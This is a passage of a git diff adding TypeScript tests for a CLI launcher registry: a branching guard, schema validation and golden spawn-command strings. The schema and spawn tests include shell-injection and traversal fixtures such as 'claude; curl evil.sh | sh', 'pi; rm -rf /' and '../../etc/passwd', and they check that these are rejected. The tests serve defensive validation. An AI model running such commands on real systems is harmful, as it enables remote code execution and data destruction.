"web/routes/session-routes.ts::mode !== 'pi'": 'scaffolded-case hooks (see the opencode entry)', + "web/routes/session-routes.ts::mode !== 'grok'": 'scaffolded-case hooks (see the opencode entry)', +}; + +/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */ +const IDS = STOCK_CLIS.map((e) => e.id as string); +const ID_ALT = IDS.join('|'); + +/** + * The shapes an id-branch actually takes, all four of them. + * + * ⚠️ An earlier version of this guard matched `===` ONLY, and that was not a small gap: the + * refactor it guards converted the `===` sites and left the negated ones, so 36 + * `mode !== ''` branches survived it — 28 in session-routes.ts alone, including a + * seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in + * step with a predicate BY HAND, while the sibling quick-start path already read + * `capabilities.ralph`. A guard that sees half the shapes reports a count measured over the + * half it happens to catch. + * + * `switch`/`case` and `[...].includes(mode)` are here for the same reason: each is a way of + * writing the banned rule that the narrower pattern could not see. + */ +const BRANCH_PATTERN = new RegExp( + [ + // mode === 'codex' / mode !== 'codex' + `\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`, + // case 'codex': + `\\bcase\\s+'(?:${ID_ALT})'\\s*:`, + // ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits + `'(?:${ID_ALT})'\\s*(?:,\\s*'(?:${ID_ALT})'\\s*)*\\]\\s*\\.includes\\(`, + ].join('|'), + 'g' +); + +/** + * BLANK comment lines before scanning, rather than dropping them. Comments legitimately quote + * the very pattern being banned — several of them explain WHY a branch was removed — and + * flagging those would push the next author to delete the explanation rather than the code. + * + * ⚠️ Blanking rather than removing is what keeps reported line numbers pointing at the real + * file. Dropping the lines shifted every finding upward by however many comments preceded it, + * so the guard's own diagnostic sent you to the wrong place — which for a rule about not + * writing a branch is exactly the moment you need the right one. + */ +function uncommented(source: string): string { + return source + .split('\n') + .map((line) => (/^\s*(\/\/|\*|\/\*)/.test(line) ? '' : line)) + .join('\n'); +} + +function walk(dir: string, out: string[] = []): string[] { + for (const name of readdirSync(dir)) { + const full = join(dir, name); + if (statSync(full).isDirectory()) walk(full, out); + else if (name.endsWith('.ts')) out.push(full); + } + return out; +} + +interface Finding { + file: string; + expression: string; + line: number; + key: string; +} + +function scan(): { findings: Finding[]; filesScanned: number } { + const findings: Finding[] = []; + const files = walk(SRC); + let scanned = 0; + for (const full of files) { + const rel = relative(SRC, full); + if (EXEMPT_FILES.has(rel)) continue; + scanned++; + const lines = uncommented(readFileSync(full, 'utf-8')).split('\n'); + lines.forEach((line, i) => { + BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts + for (const match of line.matchAll(BRANCH_PATTERN)) { + const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode'); + const posix = rel.split(sep).join('/'); + findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` }); + } + }); + } + return { findings, filesScanned: scanned }; +} + +const { findings, filesScanned } = scan(); + +describe('no CLI-id branching outside the stock catalog', () => { + it('scans a meaningful number of source files (sanity)', () => { + // If this collapses toward zero the walker or the exemption list drifted and every + // assertion below would pass vacuously. Fix the scanner, do not delete the test. + expect(filesScanned).toBeGreaterThan(100); + }); + + it('builds its id list from the live catalog (sanity)', () => { + expect(IDS).toContain('claude'); + expect(IDS).toContain('deepseek'); + expect(IDS.length).toBeGreaterThanOrEqual(9); + }); + + it('still detects a branch when one exists (anti-vacuity)', () => { + // Proves the pattern actually matches every shape it is meant to ban, so a regex typo + // cannot silently turn this whole file into a no-op. One case per alternative, because + // the `===`-only version of this test passed happily while `!==` went unseen. + const samples = [ + "if (session.mode === 'codex') { doSomething(); }", + "if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }", + "switch (mode) { case 'gemini': return 1; }", + "if (['codex', 'gemini'].includes(mode)) { doSomething(); }", + ]; + for (const sample of samples) { + BRANCH_PATTERN.lastIndex = 0; + expect(sample.match(BRANCH_PATTERN), `pattern missed: ${sample}`).not.toBeNull(); + } + BRANCH_PATTERN.lastIndex = 0; + expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull(); + }); + + it('has no unapproved id branches', () => { + const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES)); + const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n'); + expect( + offenders, + offenders.length === 0 + ? '' + : `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` + + 'Two ways out, in order of preference:\n' + + ' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' + + ' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' + + ' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' + + " WITH the reason. Read this file's header before choosing option 2." + ).toEqual([]); + }); + + it('has no stale allowlist entries', () => { + // An allowlisted branch that no longer exists is a lie about the codebase, and the next + // person to reintroduce that exact branch would sail straight through. + const present = new Set(findings.map((f) => f.key)); + const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key)); + expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]); + }); +}); + +describe('declared-for-later fields', () => { + /** + * The fields `CliEntry`'s header declares as not-yet-read. Each is frontend behaviour, and + * the frontend is untouched by this change. + * + * This is here so the list cannot quietly GROW. An unread field is a promise the code does + * not keep, and the failure mode is a reader trusting one: the next person sees + * `echo.policy: 'buffer'` on an entry and assumes the terminal honours it. Adding a field + * nobody reads should be a decision someone makes on purpose, which means updating this + * list — and wiring one up should make its line here fail, which is the good direction. + */ + const DECLARED_FOR_LATER = [ + 'shortBadge', + 'accent', + 'capabilities.echo', + 'capabilities.wheelForward', + 'capabilities.keyboardAccessory', + 'capabilities.maxFrameBytes', + // The Docker credential-seeding path still reads its own CRED_STORES table: this shape + // allows ONE store per CLI and the live table needs two for gemini. See CliOverlays. + 'overlays.credStore', + ]; + + /** Read every `.ts` under src/, minus the registry itself (which of course names them). */ + function sourceOutsideRegistry(): string { + const parts: string[] = []; + const stack = [SRC]; + while (stack.length > 0) { + const dir = stack.pop()!; + for (const name of readdirSync(dir)) { + const full = join(dir, name); + if (statSync(full).isDirectory()) { + if (name !== 'cli-registry') stack.push(full); + continue; + } + if (name.endsWith('.ts')) parts.push(uncommented(readFileSync(full, 'utf-8'))); + } + } + return parts.join('\n'); + } + + /** + * Receivers whose same-named property is NOT this field. A leaf-name match is all a static + * check can do, and `cli.ts` calls `palette.accent('admin')` — the terminal colour helper, + * unrelated to `CliEntry.accent`. Listing the receiver is better than dropping the field + * from the check: a real read through any OTHER receiver still fails. + */ + const UNRELATED_RECEIVERS: Record = { accent: ['palette'] }; + + const outside = sourceOutsideRegistry(); + + it.each(DECLARED_FOR_LATER)('%s is still unread outside the registry', (field) => { + const leaf = field.split('.').pop()!; + const ignore = UNRELATED_RECEIVERS[leaf] ?? []; + // `.` as a property access. Comment lines are already blanked, so a mention in + // prose does not count as a read; a receiver listed above does not either. + const pattern = new RegExp(`(\\w*)\\.${leaf}\\b`, 'g'); + const uses = [...outside.matchAll(pattern)].filter((m) => !ignore.includes(m[1])).map((m) => m[0]); + expect( + uses, + `${field} now looks READ outside config/cli-registry. If that is deliberate, drop it ` + + "from DECLARED_FOR_LATER here and from CliEntry's header comment — the point of both " + + 'is that a reader can tell which fields are load-bearing.' + ).toEqual([]); + }); + + it('still catches a read when there is one (anti-vacuity)', () => { + // The check is only worth having if it fires, so prove it against a field that IS read. + // `capabilities.ralph` is live in session-routes; if this ever stops matching, the + // scanner has drifted and every assertion above is passing vacuously. + expect(outside).toMatch(/\.ralph\b/); + expect(DECLARED_FOR_LATER.length).toBeGreaterThan(0); + }); +}); diff --git a/test/cli-registry-schema.test.ts b/test/cli-registry-schema.test.ts new file mode 100644 index 00000000..21702909 --- /dev/null +++ b/test/cli-registry-schema.test.ts @@ -0,0 +1,256 @@ +/** + * @fileoverview Validation rules for a `CliEntry`. + * + * `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this + * schema is a security boundary, not a typo-catcher. Two properties carry that weight: + * + * - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a + * misspelled field name degrades to "field absent → the permissive default applies", + * which is the worst possible failure mode for a field like `privilegedEnvKeys`. + * - **No shell text can reach the command line.** Every literal is checked against a + * safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather + * than being dropped — a silently dropped flag would change security-relevant behaviour + * (losing `--no-approve` is not a cosmetic difference). + * + * Port: none (pure schema). + */ + +import { describe, it, expect } from 'vitest'; +import { CliEntrySchema } from '../src/config/cli-registry/schema.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; +import type { CliEntry } from '../src/config/cli-registry/types.js'; + +/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */ +function baseEntry(id = 'pi'): Record { + const found = STOCK_CLIS.find((e) => (e.id as string) === id); + if (!found) throw new Error(`no stock entry ${id}`); + return JSON.parse(JSON.stringify(found)) as Record; +} + +function expectRejected(mutate: (entry: Record) => void, because: string): void { + const entry = baseEntry(); + mutate(entry); + const result = CliEntrySchema.safeParse(entry); + expect(result.success, `expected rejection: ${because}`).toBe(false); +} + +describe('the shipped catalog', () => { + it('validates every stock entry exactly as shipped', () => { + // If this fails, the catalog cannot load at all — every other test here is downstream. + for (const entry of STOCK_CLIS) { + const result = CliEntrySchema.safeParse(entry); + expect( + result.success, + `stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}` + ).toBe(true); + } + expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9); + }); + + it('ships every entry with a unique id and order', () => { + const ids = STOCK_CLIS.map((e) => e.id as string); + expect(new Set(ids).size).toBe(ids.length); + const orders = STOCK_CLIS.map((e) => e.order); + expect(new Set(orders).size).toBe(orders.length); + }); +}); + +describe('strictness', () => { + it('rejects an unknown key at the top level', () => { + expectRejected((e) => { + e.unknownField = true; + }, 'a typo must not degrade to a permissive default'); + }); + + it('rejects an unknown key deep inside capabilities', () => { + expectRejected((e) => { + (e.capabilities as Record).newSwitch = true; + }, 'strictness has to hold at every depth, not just the top'); + }); + + it('rejects an unknown key inside discovery', () => { + expectRejected((e) => { + (e.discovery as Record).probeEverything = true; + }, 'strictness has to hold at every depth'); + }); +}); + +describe('no shell text can reach the command line', () => { + it('rejects a literal carrying shell metacharacters', () => { + for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) { + expectRejected( + (e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args[0] = { lit: evil }; + }, + `literal ${JSON.stringify(evil)} must be refused` + ); + } + }); + + it('rejects a fixed flag VALUE carrying shell metacharacters', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--model', value: 'a`b`' }); + }, 'a fixed value is a literal too'); + }); + + it('rejects a flag that does not look like a flag', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: 'rm -rf /' }); + }, 'a flag must match -x / --long-flag'); + }); + + it('rejects an overlay command that is more than bare words', () => { + expectRejected((e) => { + e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } }; + }, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell'); + }); +}); + +describe('cross-field integrity', () => { + it('rejects a valueFrom naming an undeclared param', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' }); + }, 'a dangling valueFrom silently emits nothing'); + }); + + it('rejects a capabilityGate naming an undeclared gate', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } }); + }, 'an unknown gate never passes, so the flag would be silently unreachable'); + }); + + it('rejects a fallback chain whose last variant is conditional', () => { + expectRejected((e) => { + const launch = e.launch as Record; + launch.chain = 'fallback'; + (launch.variants as Array>)[0].when = { param: 'model', state: 'set' }; + }, 'the terminal case of a fallback chain must be guaranteed to render'); + }); + + it('rejects a legacyConfigAliases key naming an undeclared param', () => { + expectRejected((e) => { + (e.launch as Record).legacyConfigAliases = { nope: 'resumeSessionId' }; + }, 'an alias for a param that does not exist can never apply'); + }); + + it('rejects a configSetenv reading an undeclared param', () => { + // Losing this mapping for DeepSeek would silently drop a permission clamp. + expectRejected((e) => { + (e.env as Record).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }]; + }, 'exporting from a param that does not exist would export nothing, silently'); + }); + + it('rejects a privilegedParams clamp naming an undeclared param', () => { + // The security-relevant twin of the configSetenv case above, and the sharper of the two: + // `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's + // privilege switch, and a wrong name there clamps NOTHING with no error anywhere. + expectRejected((e) => { + (e.capabilities as Record).privilegedParams = [{ param: 'nope', clampTo: false }]; + }, 'clamping a param that does not exist would silently stop clamping'); + }); + + it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => { + // codex is the entry where the two names differ, so it is the one that catches a + // regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the + // param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the + // shipped entry must be on the param side of that line. + const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex'); + expect(codex).toBeDefined(); + expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']); + expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals'); + + const wrong = baseEntry('codex'); + (wrong.capabilities as Record).privilegedParams = [ + { param: 'dangerouslyBypassApprovals', clampTo: false }, + ]; + expect(CliEntrySchema.safeParse(wrong).success).toBe(false); + }); + + it('rejects a profile name this build does not implement', () => { + expectRejected((e) => { + (e.discovery as Record).launcherProfile = 'no-such-profile'; + }, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled'); + expectRejected((e) => { + (e.env as Record).setenvProfile = 'no-such-profile'; + }, 'an unimplemented setenv profile silently skips setup the CLI needs'); + }); +}); + +describe('the env allowlist cannot be widened by config', () => { + it('requires a prefix to end with an underscore', () => { + expectRejected((e) => { + (e.env as Record).allowedPrefixes = ['CLAUDE']; + }, 'a prefix without a trailing _ matches more namespaces than it names'); + }); + + it('rejects a prefix short enough to swallow unrelated namespaces', () => { + // The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at + // once, and the allowlist is ONE GLOBAL LIST applied to every mode. + expectRejected((e) => { + (e.env as Record).allowedPrefixes = ['P_']; + }, 'a 2-char prefix is too broad for a global allowlist'); + }); + + it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => { + expectRejected((e) => { + (e.capabilities as Record).privilegedEnvKeys = ['dsh-permission-mode']; + }, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key'); + }); +}); + +describe('identity', () => { + it('rejects an id that is not a lowercase kebab token', () => { + for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) { + const entry = baseEntry(); + entry.id = bad; + expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false); + } + }); + + it('rejects an accent that is not a 6-digit hex colour', () => { + expectRejected((e) => { + e.accent = 'red'; + }, 'the accent is interpolated into CSS'); + }); + + it('accepts a well-formed custom entry built from a stock one', () => { + const entry = baseEntry(); + entry.id = 'my-cli'; + entry.label = 'My CLI'; + entry.stock = false; + expect(CliEntrySchema.safeParse(entry).success).toBe(true); + }); +}); + +describe('capability shapes', () => { + it('accepts only the three hook states', () => { + for (const value of ['none', 'always', 'supervised']) { + const entry = baseEntry(); + (entry.capabilities as Record).hooks = value; + expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true); + } + // A boolean was the old shape and must NOT quietly work — `true` would have to mean + // 'always', which is wrong for a supervised CLI. + expectRejected((e) => { + (e.capabilities as Record).hooks = true; + }, 'hooks is a tri-state, not a boolean'); + }); + + it('accepts only known transcript readers', () => { + const entry = baseEntry() as unknown as CliEntry; + for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) { + const candidate = baseEntry(); + (candidate.capabilities as Record).transcript = value; + expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true); + } + expect(entry.capabilities.transcript).toBeDefined(); + expectRejected((e) => { + (e.capabilities as Record).transcript = 'some-future-format'; + }, 'a transcript reader that does not exist would silently read nothing'); + }); +}); diff --git a/test/cli-registry-spawn-golden.test.ts b/test/cli-registry-spawn-golden.test.ts new file mode 100644 index 00000000..72efee78 --- /dev/null +++ b/test/cli-registry-spawn-golden.test.ts @@ -0,0 +1,295 @@ +/** + * @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine. + * + * Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work + * compared the engine against `buildSpawnCommand()` instead — which read as a strong parity + * proof right up until `buildSpawnCommand` was itself switched over to call the engine, at + * which point it was comparing the engine with itself and would have happily accepted any + * regression the two shared. Literals cannot rot that way: they were captured from the + * hand-written builders BEFORE those builders were removed, and they are now the only + * surviving record of what those builders emitted. + * + * ⚠️ If a change here makes one of these fail, the question is never "what is the new string?" + * It is "which real CLI invocation just changed, and is that intended?" A byte that moves in + * this file is a byte that moves in a command line Codeman executes. + * + * Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included. + * Grok had no parity coverage at all in the first draft of the registry, and deepseek did not + * exist in it — the two modes most likely to be transcribed wrong were the two nothing + * checked. + * + * Port: none (pure function over registry data). + */ + +import { describe, it, expect } from 'vitest'; +import { getCli } from '../src/config/cli-registry/registry.js'; +import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js'; + +/** A fixed session id, so `--session-id` is stable across runs. */ +const SID = '0f9c2b14-1111-2222-3333-444455556666'; + +function render(options: SpawnBridgeOptions): string | undefined { + const entry = getCli(options.mode); + if (!entry) throw new Error(`no registry entry for mode ${options.mode}`); + return buildSpawnCommandFromRegistry(entry, options); +} + +/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */ +function claude(extra: Partial = {}): string | undefined { + return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra }); +} + +describe('claude', () => { + it('defaults to skip-permissions plus a new session id', () => { + expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'); + }); + + it('maps each permission mode', () => { + expect(claude({ claudeMode: 'auto' })).toBe( + 'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"'); + expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe( + 'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); + + it('resumes through a shell fallback to a fresh session', () => { + // The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell + // text. This pin is what proves the fallback chain still renders as one command line. + expect(claude({ resumeSessionId: 'abc-123-def' })).toBe( + 'claude --dangerously-skip-permissions --resume "abc-123-def" || ' + + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); + + it('carries effort as a flag, and ultracode as a settings blob', () => { + expect(claude({ effort: 'max' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\'' + ); + expect(claude({ effort: 'ultracode' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' + + '--settings \'{"ultracode":true}\'' + ); + }); + + it('gates --name on the CLI version, failing closed when it is unknown', () => { + const named = { sessionName: 'w1 alpha' }; + expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"' + ); + expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + // Unknown version satisfies NO gate. A version probe that fails must not silently + // upgrade behaviour. + expect(claude({ ...named, claudeCliVersion: null })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); +}); + +describe('opencode', () => { + const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) => + render({ mode: 'opencode', sessionId: SID, openCodeConfig }); + + it('spawns bare by default', () => { + expect(oc()).toBe('opencode'); + }); + + it('reads its resume id through the legacy `continueSession` alias', () => { + expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe( + 'opencode --model anthropic/claude --session ses_9' + ); + }); + + it('only forks an existing session', () => { + expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork'); + // --fork with nothing to fork from would be meaningless, so it drops out entirely. + expect(oc({ forkSession: true })).toBe('opencode'); + }); +}); + +describe('codex', () => { + const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) => + render({ mode: 'codex', sessionId: SID, codexConfig }); + + it('spawns bare by default', () => { + expect(cx()).toBe('codex'); + }); + + it('emits the bypass flag only when asked', () => { + expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox'); + expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex'); + }); + + it('sends animations as an explicit true/false config pair', () => { + expect(cx({ animations: true })).toBe('codex --config tui.animations=true'); + expect(cx({ animations: false })).toBe('codex --config tui.animations=false'); + }); + + it('resumes with a POSITIONAL subcommand, not a flag', () => { + expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42'); + }); +}); + +describe('gemini', () => { + const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) => + render({ mode: 'gemini', sessionId: SID, geminiConfig }); + + it('defaults an absent approval mode to yolo', () => { + // ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config + // for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would + // miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts. + expect(gm()).toBe('gemini --skip-trust --approval-mode yolo'); + }); + + it('honours an explicit approval mode', () => { + expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit'); + }); + + it('reads its resume id through the legacy `resumeSession` alias', () => { + expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe( + 'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7' + ); + }); +}); + +describe('antigravity', () => { + const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) => + render({ mode: 'antigravity', sessionId: SID, antigravityConfig }); + + it('runs `agy`, not `antigravity`', () => { + // The mode name is not the binary name. Assuming it was is a bug this registry fixes. + expect(ag()).toBe('agy'); + }); + + it('emits its flags', () => { + expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe( + 'agy --dangerously-skip-permissions --model gemini-3-pro' + ); + expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99'); + }); +}); + +describe('pi', () => { + const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig }); + + it('spawns bare by default', () => { + expect(pi()).toBe('pi'); + }); + + it('renders the full option set', () => { + expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe( + 'pi --model sonnet:high --provider anthropic --thinking xhigh' + ); + }); + + it('treats project trust as a TRI-state', () => { + // Absent is a third state, not a synonym for false: it leaves pi to ask interactively. + expect(pi({ approveProjectTrust: true })).toBe('pi --approve'); + expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve'); + expect(pi()).toBe('pi'); + }); + + it('prefers an explicit session id over -c', () => { + expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14'); + expect(pi({ continueSession: true })).toBe('pi -c'); + expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14'); + }); +}); + +describe('grok', () => { + const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig }); + + it('spawns bare by default', () => { + expect(gk()).toBe('grok'); + }); + + it('emits its bypass flag only when asked', () => { + expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5'); + expect(gk({ alwaysApprove: false })).toBe('grok'); + }); + + it('prefers an explicit resume id over --continue', () => { + expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4'); + expect(gk({ continueSession: true })).toBe('grok --continue'); + expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4'); + }); + + it('never puts a credential on the command line', () => { + // grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key + // arg in its launch spec and there must never be one: the command line is visible to + // every process on the box. + const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? ''; + expect(cmd).not.toContain('key'); + expect(cmd).not.toContain('token'); + }); +}); + +describe('deepseek', () => { + const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) => + render({ mode: 'deepseek', sessionId: SID, deepSeekConfig }); + + it('launches a named profile', () => { + expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui'); + }); + + it('prefers an explicit resume id over the bare --resume', () => { + expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42'); + expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume'); + }); + + it('never puts the permission mode on the command line', () => { + // dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported + // via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the + // env-key drop are both looking at the wrong surface. + const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? ''; + expect(cmd).toBe('dsh --profile p'); + expect(cmd).not.toContain('danger-full-access'); + expect(cmd).not.toContain('permission'); + }); +}); + +describe('shell', () => { + it('renders no command at all', () => { + // `undefined` is the signal to fall back to local login-shell resolution, which varies + // per user's /etc/passwd entry and so cannot be templated. An empty string would be a + // command, and a wrong one. + expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined(); + }); +}); + +describe('unsafe values are DROPPED, never escaped into the command', () => { + // The hand-written builders silently omitted an argument whose value failed its allowlist, + // rather than quoting it through. That is the behaviour being preserved: a rejected value + // must not reach the CLI in ANY form, because "quoted but present" still lets a caller + // steer the agent (a bogus --model, a traversal path as a session id). + it.each([ + ['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'], + ['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'], + [ + 'claude allowedTools', + { mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' }, + 'rm', + ], + ])('%s', (_label, extra, forbidden) => { + const cmd = claude(extra) ?? ''; + expect(cmd).not.toContain(forbidden); + expect(cmd).not.toContain('`'); + expect(cmd).not.toContain(';'); + }); + + it('drops an unsafe pi model without falling back to a different one', () => { + expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi'); + }); + + it('refuses a deepseek profile that is not a single path segment', () => { + // A profile name is joined into a filesystem path as well as a shell line, so `../evil` + // has to fail the token pattern rather than be quoted. With no valid name and no default + // profile installed, the flag drops out entirely and dsh picks its own. + const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? ''; + expect(cmd).not.toContain('evil'); + expect(cmd).not.toContain('..'); + }); +}); diff --git a/test/cli-skill-target.test.ts b/test/cli-skill-target.test.ts index c25f5776..e8db8525 100644 --- a/test/cli-skill-target.test.ts +++ b/test/cli-skill-target.test.ts @@ -18,7 +18,9 @@ import { mkdirSync, rmSync, writeFileSync, existsSync } from 'node:fs'; import { homedir } from 'node:os'; import { join } from 'node:path'; import { dataPath } from '../src/config/instance.js'; +import { safeRmHomeTree } from './mocks/index.js'; import { program, resolveCliCasePath, resolveSkillTargetPath } from '../src/cli.js'; +import { getCasesDir } from '../src/config/cases-dir.js'; const LINKED_CASES_FILE = dataPath('linked-cases.json'); const CASES_DIR = join(homedir(), 'codeman-cases'); @@ -36,14 +38,18 @@ function writeLinkedCases(content: string): void { beforeEach(() => { rmSync(LINKED_CASES_FILE, { force: true }); - rmSync(CASES_DIR, { recursive: true, force: true }); - rmSync(LINKED_ROOT, { recursive: true, force: true }); + safeRmHomeTree(CASES_DIR); + safeRmHomeTree(LINKED_ROOT); }); afterEach(() => { + // LINKED_CASES_FILE is dataPath('linked-cases.json'), which test/setup.ts + // sandboxes (temp HOME, and an inherited CODEMAN_DATA_DIR is stripped), so a + // plain delete is safe here. The case trees still go through the containment + // gate as defense in depth. rmSync(LINKED_CASES_FILE, { force: true }); - rmSync(CASES_DIR, { recursive: true, force: true }); - rmSync(LINKED_ROOT, { recursive: true, force: true }); + safeRmHomeTree(CASES_DIR); + safeRmHomeTree(LINKED_ROOT); }); describe('resolveSkillTargetPath (global)', () => { @@ -142,3 +148,36 @@ describe('skill command wiring', () => { } }); }); + +describe('cases dir override (CODEMAN_CASES_PATH)', () => { + // The Docker Compose deployment points Codeman at a host-absolute bind mount + // so a Docker case resolves to the same path inside the container and on the + // host daemon. The override shipped on the server's CASES_DIR 